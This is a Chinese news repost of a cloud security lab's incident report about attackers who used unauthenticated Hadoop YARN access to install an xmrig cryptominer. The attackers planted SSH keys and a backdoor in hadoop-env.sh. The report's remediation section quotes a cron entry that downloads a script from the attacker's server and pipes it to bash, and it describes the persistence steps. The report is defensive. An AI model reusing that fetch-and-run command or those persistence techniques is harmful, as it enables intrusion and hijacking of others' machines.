首页 资讯 技术 智能 工程 市场 科技 其它

行业

下栏目: 国际 行业 视点 综合

金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件

来源:网络整理 热度:℃ 时间:01-06
摘要:关于金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件描述:近日,晚间10点左右,金山云值班人员接用户紧急反馈:在业务开发过程中,Hadoop集群某一结点输

   近日,晚间10点左右,金山云值班人员接用户紧急反馈:在业务开发过程中,Hadoop集群某一结点输入`hdfs dfs –ls /`会显示未知的公钥信息,怀疑自身服务被恶意入侵。

  在获知该信息后,金山云安珀实验室迅速进行响应,第一时间与用户进行沟通和分析排查,最后确定是黑客通过Hadoop的REST API服务Yarn的未授权访问造成远程命令执行入侵,经过追踪分析处理,最后成功解除攻击威胁。

  以下我们将详细过程分享出来,与业界共勉,共同提升安全防御水平。

  追踪黑客来源:凡走过必定留下蛛丝马迹

  在接到异常信息后,安珀实验室研究员立刻启动分析预警流程:先确认是否被入侵、入侵的方式及可能造成的损失。通过使用命令“hdfs”进行试探,发现存在异常信息,进一步分析,在/var/spool/cron目录下,发现了若干计划任务文件,证明该服务器确实被入侵。

  

  通过分析,我们成功追踪到黑客的C&C服务器地址(**.***.164:8220),连接到黑客的C2服务器上下载mr.sh并进一步分析,发现脚本存在如下几个特征:

  1、脚本会删除其他的挖矿进程;

  2、删除CPU占用率大于40的进程。

  在上述操作执行完毕后,会下载真正的挖矿程序top,以及配置文件wc.conf,配置文件中包含挖矿的密码等信息。接着,会自动添加计划任务,将黑客的公钥添加到~/.ssh/authorized_keys文件中,实现黑客免密码登陆的目的。

  脚本还会将受害服务器的IP、用户名、主机名等信息发送到黑客的服务器上,结合其将公钥写入到了~/.ssh/authorized_keys文件中,我们初步推测黑客可能通过脚本进行批量ssh登陆,从而实现批量管理肉鸡的目的。

  接下来,我们按照该入侵路线排查用户的服务器,不过并没有发现同样的问题,猜测后门可能是在其他位置,经过详细排查,最后在/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件中,发现有被写入后门的痕迹。

  

  抽丝剥茧求真相:再狡猾的狐狸也会露出尾巴

  在上述文件中,我们发现有三行同样格式的后门,可以推测,服务器被黑客利用自动化脚本攻击了三次,同时,我们还发现了新的攻击脚本install.sh。将其下载后进行分析,发现该脚本会判断是否写过计划任务,如果写过的话会输入Cron exists,这恰好是之前用户反馈的问题。

  通过后续的分析得知,当执行hdfs等hadoop所属的命令后,会先执行/usr/bin/hdfs,而这个可执行程序是个链接,链接到/usr/hdp/current/hadoop-hdfs-client/bin/hdfs文件。我们通过查看该文件,最终发现会执行红框内的代码,我们继续追踪如下:

  

  1、查看该文件的内容,发现会执行libexec目录下的hdfs-config.sh脚本。

  2、跟踪过去,在文件尾部会调用hadoop-function.sh文件。

  3、继续跟踪,发现会执行conf目录下的hadoop-env.sh。该文件是黑客留有后门的文件,也就是说,用户在执行该命令的时候,就会调用黑客留下的后门,其他有关hadoop的命令也是如此。

  根据和使用该服务器的用户交流来判断,之前该服务器启动过yarn服务,并且使用默认配置,没有进行任何的认证,开放在公网的8088端口,结合该Hadoop集群来看,黑客应该是通过Hadoop Yarn未授权访问漏洞入侵的。

  并且,通过查看/etc/hosts文件,发现该集群还有其他几个节点,分别是node1(已经废弃使用很久),node2(本文分析的服务器,且还开放在公网上),node3(未连接公网),node4(未连接公网),其他节点都可以通过ssh + 主机名的方式直接登陆,并且也都发现已经被入侵了,但是通过计划任务被写入的时间点来看,其他机器并不是通过跳板入侵的,而是通过自动化脚本攻击的。

  分析top挖矿程序,我们看到该程序是一个用于挖矿的软件,真实名字叫做xmrig。

  将其md5值放入VirusTotal查询,发现有13家报毒,是一款挖矿软件。

  

  分析至此,整件事件已经梳理清楚,黑客通过yarn服务入侵到服务器,并且写入了后门,执行install.sh, mr.sh程序,进行挖矿,期间通过漏洞写入了三次后门,C&C服务器IP为新加坡,但是由于install.sh存在报错机制,导致被发现。

  此次事件金山云安珀实验室应对之道

  1.建议客户登陆各个节点,将/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件结尾的后门进行删除;

  2.登陆各个节点,到/var/spool/cron目录下,查看每个文件,如果内容是0 * * * * :8220/mr.sh | bash -sh > /dev/null 2>&1,删除该文件;

  3.增加hadoop kerberos认证;

  4.将私用的服务放置在内网环境中使用,开放在公网的服务一定要加入认证环节。

  以上是金山云在近期追踪并成功解决的一起比较典型的安全事件,在网络上,每天都有无数的黑客程序在自动巡游,一旦发现安全薄弱的设备,很快就能通过各种手段进行入侵,这就要求我们树立起牢固的安全防范意识,防患于未然。

最热资讯